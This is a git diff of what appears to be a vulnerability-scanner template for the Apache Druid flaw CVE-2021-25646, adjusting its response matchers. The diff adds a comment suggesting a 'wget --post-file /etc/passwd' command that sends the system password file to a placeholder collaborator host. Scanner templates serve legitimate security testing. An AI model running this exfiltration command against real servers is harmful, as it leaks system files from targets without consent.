diff --git a/cves/2021/CVE-2021-25646.yaml b/cves/2021/CVE-2021-25646.yaml
index 9820cd7704..e963c52fe7 100644
--- a/cves/2021/CVE-2021-25646.yaml
+++ b/cves/2021/CVE-2021-25646.yaml
@@ -29,6 +29,9 @@ requests:
                                 }
           },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
 
+    # To read system Files, replace (wget example.com) with below payload
+    # wget --post-file /etc/passwd http://xxxxxxx.burpcollaborator.net
+
     matchers-condition: and
     matchers:
       - type: status
@@ -42,6 +45,6 @@ requests:
       - type: regex
         regex:
           - "numRowsRead"
-          - "https://druid.apache.org"
+          - "numRowsIndexed"
         part: body
         condtion: and